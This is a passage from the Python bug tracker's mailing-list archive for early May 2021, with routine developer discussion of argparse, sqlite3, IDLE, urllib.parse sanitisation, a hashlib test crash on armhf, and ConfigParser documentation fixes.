-> Broad performance regression from 3.10a7 to 3.10b1 with python.org macOS binaries _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 17:09:10 2021 From: report at bugs.python.org (Reuben Thomas) Date: Tue, 04 May 2021 21:09:10 +0000 Subject: [issue43942] RawDescriptionHelpFormatter seems to be ignored for argument descriptions In-Reply-To: <1619429345.55.0.132994171177.issue43942@roundup.psfhosted.org> Message-ID: <1620162550.44.0.797973827539.issue43942@roundup.psfhosted.org> Reuben Thomas added the comment: D'oh! Sorry for the noise. And congratulations to the author/designer of `RawDescriptionHelpFormatter` for designing/implementing exactly what I wanted all along! ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 17:13:34 2021 From: report at bugs.python.org (paul j3) Date: Tue, 04 May 2021 21:13:34 +0000 Subject: [issue43192] Argparse complains argument required when default is provided In-Reply-To: <1612952677.32.0.0422896967903.issue43192@roundup.psfhosted.org> Message-ID: <1620162814.22.0.475838391855.issue43192@roundup.psfhosted.org> paul j3 added the comment: To a large degree the Action parameters operate independently. That is, different parts of the code use the parameters for their own purposes. The composite behavior is a result of those individual actors, rather than some sort of overall coordinated plan. First your Action is 'positional' (no flag string), and "store" type. nargs is the default None. The only extra is the default value (the default default is None). _ActionsContainer._get_positional_kwargs processes such an argument, setting the 'required' parameter with: # mark positional arguments as required if at least one is # always required if kwargs.get('nargs') not in [OPTIONAL, ZERO_OR_MORE]: kwargs['required'] = True if kwargs.get('nargs') == ZERO_OR_MORE and 'default' not in kwargs: kwargs['required'] = True At the start of parsing, all 'default' values are added to the 'args' Namespace. If an Action is "seen", either via the appropriate flag string, or a positional value, it is added to the "seen_actions" list. At the end of parsing, it iterates through all the '_actions'. If it is not in the 'seen_actions' list, and is marked "required", it gets added to the 'reqiuired_action' error list. So even though your Action has a 'default' it is still required. The default is, in effect, ignored. The nargs value (default or not) has priority in setting the 'required' value. '?/*' nargs require special handling. This nargs requirement is satisfied by an empty list. Such a positional will, in effect, always be seen. But if a explicit default is provided, that will over write the empty list. Handling defaults is inherently tricky. But except for the special '?/*' case, specifying a 'default' with a positional doesn't make much sense. ---------- nosy: +paul.j3 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 17:20:14 2021 From: report at bugs.python.org (Alex Hall) Date: Tue, 04 May 2021 21:20:14 +0000 Subject: [issue43121] Incorrect SyntaxError message for missing comma (3.10.a5) In-Reply-To: <1612386350.35.0.116114193403.issue43121@roundup.psfhosted.org> Message-ID: <1620163214.25.0.482555546824.issue43121@roundup.psfhosted.org> Alex Hall added the comment: Pablo, check out https://github.com/aroberge/friendly/discussions/197, particularly the second bullet point which has a dataset of syntax errors. ---------- nosy: +alexmojaki _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 17:37:47 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 04 May 2021 21:37:47 +0000 Subject: [issue44037] Broad performance regression from 3.10a7 to 3.10b1 with python.org macOS binaries In-Reply-To: <1620152354.35.0.099245224395.issue44037@roundup.psfhosted.org> Message-ID: <1620164267.11.0.375246931549.issue44037@roundup.psfhosted.org> Raymond Hettinger added the comment: > There is no reason to suspect a general Python performance regression > on this benchmark between a7 and b1. Pablo just ran the same benchmarks on Arch Linux and did not observe the degradation, so this does seem specific to the macOS build. ---------- nosy: +ronaldoussoren _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 17:43:46 2021 From: report at bugs.python.org (Kevin Follstad) Date: Tue, 04 May 2021 21:43:46 +0000 Subject: [issue44040] Update broken link in pathlib source Message-ID: <1620164626.76.0.31363753439.issue44040@roundup.psfhosted.org> New submission from Kevin Follstad : Update broken link (repeated in several places) in pathlib sources. - # (see https://bitbucket.org/pitrou/pathlib/issue/12/) + # (see http://web.archive.org/web/20200623061726/https://bitbucket.org/pitrou/pathlib/issues/12/ ) ---------- assignee: docs at python components: Documentation messages: 392960 nosy: docs at python, kfollstad priority: normal severity: normal status: open title: Update broken link in pathlib source versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 17:49:35 2021 From: report at bugs.python.org (Alexei S) Date: Tue, 04 May 2021 21:49:35 +0000 Subject: [issue44031] python3.8.9, python3.9.2 test_embed test_tabnanny failed In-Reply-To: <1620129028.97.0.901022211038.issue44031@roundup.psfhosted.org> Message-ID: <1620164975.17.0.221009451757.issue44031@roundup.psfhosted.org> Alexei S added the comment: the same issue also in https://bugs.python.org/issue43583 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 17:50:24 2021 From: report at bugs.python.org (Kevin Follstad) Date: Tue, 04 May 2021 21:50:24 +0000 Subject: [issue44040] Update broken link in pathlib source In-Reply-To: <1620164626.76.0.31363753439.issue44040@roundup.psfhosted.org> Message-ID: <1620165024.07.0.932948409576.issue44040@roundup.psfhosted.org> Change by Kevin Follstad : ---------- keywords: +patch pull_requests: +24573 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25905 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 18:01:04 2021 From: report at bugs.python.org (Alexei S) Date: Tue, 04 May 2021 22:01:04 +0000 Subject: [issue43583] make test failures, 2 tests failed: test_embed test_tabnanny In-Reply-To: <1616341139.4.0.592020830762.issue43583@roundup.psfhosted.org> Message-ID: <1620165664.31.0.879627317834.issue43583@roundup.psfhosted.org> Alexei S added the comment: python3 -m ~/????????/Python-3.8.9/Lib/test/test_embed -v /usr/bin/python3: Error while finding module specification for '/home/alexei/????????/Python-3.8.9/Lib/test/test_embed' (ModuleNotFoundError: No module named '/home/alexei/????????/Python-3') it doesn't recognize '-' ?? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 18:06:22 2021 From: report at bugs.python.org (Alexei S) Date: Tue, 04 May 2021 22:06:22 +0000 Subject: [issue43583] make test failures, 2 tests failed: test_embed test_tabnanny In-Reply-To: <1616341139.4.0.592020830762.issue43583@roundup.psfhosted.org> Message-ID: <1620165982.38.0.308659476028.issue43583@roundup.psfhosted.org> Alexei S added the comment: i rename folder and tried python3 -m '~/????????/Python-389/Lib/test/test_embed' -v /usr/bin/python3: No module named ~/????????/Python-389/Lib/test/test_embed ??? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 18:25:11 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 04 May 2021 22:25:11 +0000 Subject: [issue40521] [subinterpreters] Make free lists and unicode caches per-interpreter In-Reply-To: <1588693682.5.0.219755904926.issue40521@roundup.psfhosted.org> Message-ID: <1620167111.11.0.481605665135.issue40521@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- pull_requests: +24574 stage: resolved -> patch review pull_request: https://github.com/python/cpython/pull/25906 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 18:33:34 2021 From: report at bugs.python.org (Erlend Egeberg Aasland) Date: Tue, 04 May 2021 22:33:34 +0000 Subject: [issue44041] [sqlite3] optimisation: only call sqlite3_column_count when needed Message-ID: <1620167614.6.0.723645950757.issue44041@roundup.psfhosted.org> New submission from Erlend Egeberg Aasland : Pr. now, we call sqlite3_column_count() for every iteration in the _pysqlite_query_execute() loop. If detect_types is set, we call it twice for every loop. Suggesting to move it out of the loop and into the pysqlite_Statement object. In pysqlite_statement_create(), after sqlite3_prepare_v2(), if self->is_dml == 0 we fetch the column count: self->column_count = sqlite3_column_count(). Else, it's 0. # SQLite API interaction examples (pseudo-code), as diffs --- now +++ patched ## Create table sqlite3_prepare_v2 +sqlite3_column_count sqlite3_bind_blob_parameter_count sqlite3_step -sqlite3_column_count sqlite3_last_insert_rowid sqlite3_reset ## Triple insert (executemany) sqlite3_prepare_v2 sqlite3_get_autocommit sqlite3_bind_blob_parameter_count sqlite3_bind_int64 sqlite3_step -sqlite3_column_count sqlite3_changes sqlite3_reset sqlite3_bind_blob_parameter_count sqlite3_bind_int64 sqlite3_step -sqlite3_column_count sqlite3_changes sqlite3_reset sqlite3_bind_blob_parameter_count sqlite3_bind_int64 sqlite3_step -sqlite3_column_count sqlite3_changes sqlite3_reset ---------- components: Extension Modules messages: 392964 nosy: berker.peksag, erlendaasland, serhiy.storchaka priority: normal severity: normal status: open type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 18:47:39 2021 From: report at bugs.python.org (Erlend Egeberg Aasland) Date: Tue, 04 May 2021 22:47:39 +0000 Subject: [issue44041] [sqlite3] optimisation: only call sqlite3_column_count when needed In-Reply-To: <1620167614.6.0.723645950757.issue44041@roundup.psfhosted.org> Message-ID: <1620168459.82.0.375328490348.issue44041@roundup.psfhosted.org> Change by Erlend Egeberg Aasland : ---------- keywords: +patch pull_requests: +24575 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25907 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 19:03:59 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 04 May 2021 23:03:59 +0000 Subject: [issue43192] Argparse complains argument required when default is provided In-Reply-To: <1612952677.32.0.0422896967903.issue43192@roundup.psfhosted.org> Message-ID: <1620169439.18.0.166371291193.issue43192@roundup.psfhosted.org> Raymond Hettinger added the comment: > Specifying a 'default' with a positional doesn't make much sense. That was my thought as well. Perhaps that is worth a note in the docs but there is likely no real need to change the behavior. ---------- nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 19:40:47 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 04 May 2021 23:40:47 +0000 Subject: [issue44026] IDLE: print "Did you mean?" for AttributeError and NameError In-Reply-To: <1620100153.12.0.0610630675338.issue44026@roundup.psfhosted.org> Message-ID: <1620171647.48.0.323859008431.issue44026@roundup.psfhosted.org> Terry J. Reedy added the comment: Pablo, unless you are suggesting rewriting IDLE's custom exception handing in C, I don't see how making it a single function would be an improvement. As long as it is Python code, the problem is accessing the message supplement. After reading your comment, I agree that injecting Python code into the C exception handling is a bad idea. It also, I see now, not needed run.print_exception first calls traceback.extract_tb (line 238). The doc says " It is useful for alternate formatting of stack traces", which IDLE does. print_exception next calls the undocumented traceback.print_list, which is format_list + print*. Finally, print_exception calls traceback.format_exception_only (line 2440), which returns a list of lines that is immediately printed. So all IDLE needs is for format_exception_only to include the extra lines, either by default or by option. But it just calls TracebackException.format_exception)only, which call a private Python-coded function, which can only add the lines if accessible from Python-code. Dennis cleverly pointed out that such access is available, even if awkwardly, by capturing the standard excepthook outout and keeping only the missing part. (test.support.captured_stderr just wraps io.StringIO as a context manager. IDLE can borrow and edits its code.) Dennis, would you like to prepare a PR that follows the format_exception_only call with something like if isinstance(typ, (AttributeError, NameError)): lines.extend(extract_extra_message()) and a definition of the new function? (and a new test)? Or perhaps better, replace format_exception_only with a function that gets all lines at once. Pablo, do any other exception types have such omitted help info? Do you have plans for any more? ---------- title: IDLE doesn't offer "Did you mean?" for AttributeError and NameError -> IDLE: print "Did you mean?" for AttributeError and NameError _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 19:41:24 2021 From: report at bugs.python.org (Erlend Egeberg Aasland) Date: Tue, 04 May 2021 23:41:24 +0000 Subject: [issue44042] [sqlite3] _pysqlite_connection_begin() optimisations Message-ID: <1620171684.78.0.466363049979.issue44042@roundup.psfhosted.org> New submission from Erlend Egeberg Aasland : The following optimisations can be applied to _pysqlite_connection_begin(): 1. Return an int instead of a PyObject pointer Per now, we do Py_RETURN_NONE and Py_DECREF(result) if _pysqlite_connection_begin() was successful (normally the case). There's no reason to do this. Let's just it the C way: return -1 on error and 0 if things are ok. 2. Defer error checking till post sqlite3_finalize() Any error code returned by sqlite3_step() will also be returned by sqlite3_finalize() for the same statement. From the SQLite docs: "If the most recent evaluation of statement S failed, then sqlite3_finalize(S) returns the appropriate error code or extended error code." 3. Move _pysqlite_connection_begin() to Modules/_sqlite/cursor.c The single use is in _pysqlite_query_execute() in cursor.c. Moving it makes it possible for the compiler to apply more optimisations. At least so I've heard :) (As a side effect, the namespace will be cleaner.) ---------- messages: 392967 nosy: berker.peksag, erlendaasland, serhiy.storchaka priority: normal severity: normal status: open title: [sqlite3] _pysqlite_connection_begin() optimisations type: performance versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 19:44:57 2021 From: report at bugs.python.org (Erlend Egeberg Aasland) Date: Tue, 04 May 2021 23:44:57 +0000 Subject: [issue44042] [sqlite3] _pysqlite_connection_begin() optimisations In-Reply-To: <1620171684.78.0.466363049979.issue44042@roundup.psfhosted.org> Message-ID: <1620171897.99.0.845710494115.issue44042@roundup.psfhosted.org> Change by Erlend Egeberg Aasland : ---------- keywords: +patch pull_requests: +24576 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25908 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 20:42:51 2021 From: report at bugs.python.org (Leonard Lausen) Date: Wed, 05 May 2021 00:42:51 +0000 Subject: [issue29842] Make Executor.map work with infinite/large inputs correctly In-Reply-To: <1489800776.56.0.575396558681.issue29842@psf.upfronthosting.co.za> Message-ID: <1620175371.75.0.187222978648.issue29842@roundup.psfhosted.org> Change by Leonard Lausen : ---------- nosy: +leezu _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 21:22:10 2021 From: report at bugs.python.org (JustAnotherArchivist) Date: Wed, 05 May 2021 01:22:10 +0000 Subject: [issue42367] Restore os.makedirs ability to apply mode to all directories created In-Reply-To: <1605520451.51.0.153670810596.issue42367@roundup.psfhosted.org> Message-ID: <1620177730.15.0.0472703017937.issue42367@roundup.psfhosted.org> Change by JustAnotherArchivist : ---------- nosy: +JustAnotherArchivist _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 21:28:28 2021 From: report at bugs.python.org (Dennis Sweeney) Date: Wed, 05 May 2021 01:28:28 +0000 Subject: [issue44026] IDLE: print "Did you mean?" for AttributeError and NameError In-Reply-To: <1620100153.12.0.0610630675338.issue44026@roundup.psfhosted.org> Message-ID: <1620178108.93.0.0324102169792.issue44026@roundup.psfhosted.org> Dennis Sweeney added the comment: I unfortunately don't have the time/internet access this week to do a PR. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 21:34:26 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Wed, 05 May 2021 01:34:26 +0000 Subject: [issue43883] Making urlparse WHATWG conformant In-Reply-To: <1618775017.08.0.625993552954.issue43883@roundup.psfhosted.org> Message-ID: <1620178466.51.0.788528540569.issue43883@roundup.psfhosted.org> Gregory P. Smith added the comment: FWIW rather than implementing our own URL parsing at all... wrapping a library extracted from a compatible-license major browser (Chromium or Firefox) and keeping it updated would avoid disparities. Unfortunately, I'm not sure how feasible this really is. Do all of the API surfaces we must support in the stdlib for compatibility's sake with urllib line up with such a browser core URL parsing library? Something to ponder. Unlikely something we'll actually do. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 21:50:13 2021 From: report at bugs.python.org (Ned Batchelder) Date: Wed, 05 May 2021 01:50:13 +0000 Subject: [issue43933] Regression in python3.10 with traceback frame having lineno of -1 In-Reply-To: <1619294193.93.0.370565760758.issue43933@roundup.psfhosted.org> Message-ID: <1620179413.67.0.730675867648.issue43933@roundup.psfhosted.org> Ned Batchelder added the comment: Mark, I'm not clear if the line number can still be None in some circumstances. With this code (from site.py in the stdlib): 545: def execsitecustomize(): 546: """Run custom site specific code, if available.""" 547: try: 548: try: 549: import sitecustomize 550: except ImportError as exc: 551: if exc.name == 'sitecustomize': 552: pass 553: else: 554: raise 555: except Exception as err: 556: if sys.flags.verbose: 557: sys.excepthook(*sys.exc_info()) 558: else: 559: sys.stderr.write( 560: "Error in sitecustomize; set PYTHONVERBOSE for traceback:\n" 561: "%s: %s\n" % 562: (err.__class__.__name__, err)) I get traces with these events and line numbers: exception 549 (ModuleNotFoundError("No module named 'sitecustomize'")) line 550 line 551 line 552 return None Is this what you expected? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 22:19:35 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Wed, 05 May 2021 02:19:35 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1620181175.3.0.751808170195.issue43882@roundup.psfhosted.org> Gregory P. Smith added the comment: Both Django and Botocore issues appear to be in the category of: "depending on invalid data being passed through our urlsplit API so that they could look for it later" Not much sympathy. We never guaranteed we'd pass invalid data through. They're depending on an implementation detail (Hyrum's law). Invalid data causes other people who don't check for it problems. There is no valid solution on our end within the stdlib that won't frustrate somebody. We chose to move towards safer (undoubtedly not perfect) by default. Instead of the patches as you see them, we could've raised an exception. I'm sure that would also also have tripped up existing code depending on the undesirable behavior. If one wants to reject invalid data as an application/library/framework, they need a validator. The Python stdlib does not provide a URL validation API. I'm not convinced we would even want to (though that could be something issue43883 winds up providing) given how perilous that is to get right: Who's version of right? which set of standards? when and why? Conclusion: The web... such a mess. ---------- versions: +Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 23:40:07 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 05 May 2021 03:40:07 +0000 Subject: [issue44039] Duplicated assignment in Modules/_randommodule.c In-Reply-To: <1620161161.27.0.458428568695.issue44039@roundup.psfhosted.org> Message-ID: <1620186007.25.0.540621626784.issue44039@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- assignee: -> rhettinger nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 23:43:27 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 05 May 2021 03:43:27 +0000 Subject: [issue44039] Duplicated assignment in Modules/_randommodule.c In-Reply-To: <1620161161.27.0.458428568695.issue44039@roundup.psfhosted.org> Message-ID: <1620186207.92.0.70613562524.issue44039@roundup.psfhosted.org> Raymond Hettinger added the comment: Just curious, how did you find this? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 00:38:46 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 05 May 2021 04:38:46 +0000 Subject: [issue25094] [EASY][Windows] test_tools fails on Windows when passing In-Reply-To: <1442202178.75.0.918340459191.issue25094@psf.upfronthosting.co.za> Message-ID: <1620189526.09.0.215419012157.issue25094@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24577 pull_request: https://github.com/python/cpython/pull/25909 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 00:39:49 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 05 May 2021 04:39:49 +0000 Subject: [issue44039] Duplicated assignment in Modules/_randommodule.c In-Reply-To: <1620161161.27.0.458428568695.issue44039@roundup.psfhosted.org> Message-ID: <1620189589.37.0.167299828665.issue44039@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 00:57:27 2021 From: report at bugs.python.org (wyz23x2) Date: Wed, 05 May 2021 04:57:27 +0000 Subject: [issue14965] super() and property inheritance behavior In-Reply-To: <1338433441.66.0.975494137492.issue14965@psf.upfronthosting.co.za> Message-ID: <1620190647.4.0.444448448363.issue14965@roundup.psfhosted.org> Change by wyz23x2 : ---------- components: +Interpreter Core -Extension Modules versions: +Python 3.10, Python 3.11, Python 3.9 -Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 01:31:25 2021 From: report at bugs.python.org (Anthony Sottile) Date: Wed, 05 May 2021 05:31:25 +0000 Subject: [issue44043] 3.10 b1 armhf Bus Error in hashlib test: test_gil Message-ID: <1620192685.97.0.632681008338.issue44043@roundup.psfhosted.org> New submission from Anthony Sottile : terribly sorry, I don't have much information to go off on this other than the build logs from deadsnakes. I retried this build twice and it seems it consistently fails in this position: https://launchpadlibrarian.net/537139233/buildlog_ubuntu-bionic-armhf.python3.10_3.10.0~b1-1+bionic2_BUILDING.txt.gz The relevant logs from the build: ``` ./python -m test --pgo --timeout=1200 || true 0:00:00 load avg: 2.37 Run tests sequentially (timeout: 20 min) 0:00:00 load avg: 2.37 [ 1/44] test_array 0:00:11 load avg: 2.23 [ 2/44] test_base64 0:00:15 load avg: 2.13 [ 3/44] test_binascii 0:00:16 load avg: 2.13 [ 4/44] test_binop 0:00:17 load avg: 2.13 [ 5/44] test_bisect 0:00:18 load avg: 2.13 [ 6/44] test_bytes 0:01:18 load avg: 1.41 [ 7/44] test_bz2 -- test_bytes passed in 1 min 0:01:25 load avg: 1.35 [ 8/44] test_cmath 0:01:28 load avg: 1.35 [ 9/44] test_codecs 0:01:52 load avg: 1.23 [10/44] test_collections 0:02:10 load avg: 1.16 [11/44] test_complex 0:02:16 load avg: 1.15 [12/44] test_dataclasses 0:02:23 load avg: 1.14 [13/44] test_datetime 0:03:18 load avg: 1.09 [14/44] test_decimal -- test_datetime passed in 54.9 sec 0:05:06 load avg: 1.01 [15/44] test_difflib -- test_decimal passed in 1 min 47 sec 0:05:24 load avg: 1.01 [16/44] test_embed 0:05:27 load avg: 1.01 [17/44] test_float 0:05:32 load avg: 1.01 [18/44] test_fstring 0:05:43 load avg: 1.00 [19/44] test_functools 0:05:47 load avg: 1.00 [20/44] test_generators 0:05:51 load avg: 1.00 [21/44] test_hashlib Fatal Python error: Bus error Current thread 0xf7901220 (most recent call first): File "/<>/Lib/test/test_hashlib.py", line 842 in test_gil File "/<>/Lib/unittest/case.py", line 549 in _callTestMethod File "/<>/Lib/unittest/case.py", line 592 in run File "/<>/Lib/unittest/case.py", line 652 in __call__ File "/<>/Lib/unittest/suite.py", line 122 in run File "/<>/Lib/unittest/suite.py", line 84 in __call__ File "/<>/Lib/unittest/suite.py", line 122 in run File "/<>/Lib/unittest/suite.py", line 84 in __call__ File "/<>/Lib/unittest/suite.py", line 122 in run File "/<>/Lib/unittest/suite.py", line 84 in __call__ File "/<>/Lib/test/support/testresult.py", line 169 in run File "/<>/Lib/test/support/__init__.py", line 959 in _run_suite File "/<>/Lib/test/support/__init__.py", line 1082 in run_unittest File "/<>/Lib/test/libregrtest/runtest.py", line 210 in _test_module File "/<>/Lib/test/libregrtest/runtest.py", line 246 in _runtest_inner2 File "/<>/Lib/test/libregrtest/runtest.py", line 282 in _runtest_inner File "/<>/Lib/test/libregrtest/runtest.py", line 154 in _runtest File "/<>/Lib/test/libregrtest/runtest.py", line 194 in runtest File "/<>/Lib/test/libregrtest/main.py", line 423 in run_tests_sequential File "/<>/Lib/test/libregrtest/main.py", line 521 in run_tests File "/<>/Lib/test/libregrtest/main.py", line 694 in _main File "/<>/Lib/test/libregrtest/main.py", line 641 in main File "/<>/Lib/test/libregrtest/main.py", line 719 in main File "/<>/Lib/test/__main__.py", line 2 in File "/<>/Lib/runpy.py", line 86 in _run_code File "/<>/Lib/runpy.py", line 196 in _run_module_as_main ``` ---------- components: Build messages: 392973 nosy: Anthony Sottile priority: normal severity: normal status: open title: 3.10 b1 armhf Bus Error in hashlib test: test_gil versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 01:56:32 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 05 May 2021 05:56:32 +0000 Subject: [issue44039] Duplicated assignment in Modules/_randommodule.c In-Reply-To: <1620161161.27.0.458428568695.issue44039@roundup.psfhosted.org> Message-ID: <1620194192.36.0.602687790636.issue44039@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +24578 pull_request: https://github.com/python/cpython/pull/25909 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 01:58:12 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Wed, 05 May 2021 05:58:12 +0000 Subject: [issue25094] [EASY][Windows] test_tools fails on Windows when passing In-Reply-To: <1442202178.75.0.918340459191.issue25094@psf.upfronthosting.co.za> Message-ID: <1620194292.56.0.493493940227.issue25094@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- pull_requests: -24577 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 02:26:01 2021 From: report at bugs.python.org (Christian Heimes) Date: Wed, 05 May 2021 06:26:01 +0000 Subject: [issue44043] 3.10 b1 armhf Bus Error in hashlib test: test_gil In-Reply-To: <1620192685.97.0.632681008338.issue44043@roundup.psfhosted.org> Message-ID: <1620195961.56.0.0453322142296.issue44043@roundup.psfhosted.org> Christian Heimes added the comment: Are you able to get a C stack trace somehow, e.g. from a dump or by login into the build system interactively and running gdb? The Python traceback isn't much helpful. ---------- nosy: +christian.heimes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 02:29:47 2021 From: report at bugs.python.org (Christian Heimes) Date: Wed, 05 May 2021 06:29:47 +0000 Subject: [issue44043] 3.10 b1 armhf Bus Error in hashlib test: test_gil In-Reply-To: <1620192685.97.0.632681008338.issue44043@roundup.psfhosted.org> Message-ID: <1620196187.97.0.925589153698.issue44043@roundup.psfhosted.org> Christian Heimes added the comment: Have you already tried ./python -X faulthandler -m test ... ? Could you please also run tests with "./python -m test -j1 ..." in a new job? This executes every test module in a subprocess. I like to see if other tests are segfaulting, too. ---------- nosy: +pablogsal, vstinner type: -> crash _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 02:33:20 2021 From: report at bugs.python.org (=?utf-8?q?J=C3=BCrgen_Gmach?=) Date: Wed, 05 May 2021 06:33:20 +0000 Subject: [issue43354] xmlrpc.client: Fault.faultCode erroneously documented to be a string, should be int In-Reply-To: <1614606151.94.0.783784524766.issue43354@roundup.psfhosted.org> Message-ID: <1620196400.09.0.935039983092.issue43354@roundup.psfhosted.org> J?rgen Gmach added the comment: This was merged already. I did not know I have to manually close the issue, but here we go! ---------- stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 02:48:11 2021 From: report at bugs.python.org (=?utf-8?q?J=C3=BCrgen_Gmach?=) Date: Wed, 05 May 2021 06:48:11 +0000 Subject: [issue44044] ConfigParser: cannot link to ConfigParser.optionxform(option) Message-ID: <1620197291.49.0.201849852188.issue44044@roundup.psfhosted.org> New submission from J?rgen Gmach : I wanted to copy a hyperlink to the documentation section for ConfigParser's optionxform method, but in https://docs.python.org/3/library/configparser.html you cannot link to this one section, as the paragraph was marked with `:noindex:` via https://github.com/python/cpython/pull/21859 / bpo-40204 The `:noindex:` workaround was introduced to silence doc build errors which came with a new Sphinx version. Without the workaround, you get errors like... P.S.: I uploaded a screenshot of the documentation section showing the heading before optionxform has a permalink, optionsxform does not. Warning, treated as error: /home/jugmac00/Projects/cpython/Doc/library/configparser.rst:1170:duplicate object description of configparser.ConfigParser.optionxform, other instance in library/configparser, use :noindex: for one of them Makefile:49: recipe for target 'build' failed make: *** [build] Error 2 Looks like a possible fix to this problem would involve a major restructuring of the configparser documentation, to avoid the "duplicated object description". Maybe there is a simpler solution? ---------- assignee: docs at python components: Documentation files: Screenshot from 2021-05-05 08-46-05.png messages: 392977 nosy: docs at python, jugmac00 priority: normal severity: normal status: open title: ConfigParser: cannot link to ConfigParser.optionxform(option) Added file: https://bugs.python.org/file50014/Screenshot from 2021-05-05 08-46-05.png _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 02:55:02 2021 From: report at bugs.python.org (=?utf-8?q?J=C3=BCrgen_Gmach?=) Date: Wed, 05 May 2021 06:55:02 +0000 Subject: [issue44045] canonicalize "upper-case" -> "uppercase"; "lower-case" -> "lowercase" Message-ID: <1620197702.64.0.842506746394.issue44045@roundup.psfhosted.org> New submission from J?rgen Gmach : Yesterday, I was bitten by ConfigParser' default behavior to lowercase keys on reading. When I looked in the documentation and the source code, I found that lowercase was sometimes written as "lower-case", e.g. here https://docs.python.org/3/library/configparser.html#configparser.ConfigParser.optionxform The webster dictionary only accepts "lowercase" as a valid English word: https://www.merriam-webster.com/dictionary/lowercase Before I wanted to create a pull request for this one, I also grepped the complete source code with the following result: lower-case 24 lowercase 207 upper-case 9 uppercase 201 I'd like to create a pull request which canonicalizes the writing to a consistent "lowercase" resp. "uppercase". Is there any core dev out there willing to review / merge this kind of PR? ---------- messages: 392978 nosy: jugmac00 priority: normal severity: normal status: open title: canonicalize "upper-case" -> "uppercase"; "lower-case" -> "lowercase" _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 03:04:40 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Wed, 05 May 2021 07:04:40 +0000 Subject: [issue44043] 3.10 b1 armhf Bus Error in hashlib test: test_gil In-Reply-To: <1620192685.97.0.632681008338.issue44043@roundup.psfhosted.org> Message-ID: <1620198280.04.0.437864624179.issue44043@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- priority: normal -> release blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 03:07:08 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Wed, 05 May 2021 07:07:08 +0000 Subject: [issue44044] ConfigParser: cannot link to ConfigParser.optionxform(option) In-Reply-To: <1620197291.49.0.201849852188.issue44044@roundup.psfhosted.org> Message-ID: <1620198428.88.0.742679464274.issue44044@roundup.psfhosted.org> Shreyan Avigyan added the comment: No there's a hyperlink. See here https://docs.python.org/3/library/configparser.html#configparser.ConfigParser.optionxform. There's two duplicate definitions of ConfigParser.optionxform in configparser.html. One gives examples, the other one gives definition. ---------- nosy: +shreyanavigyan _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 03:12:10 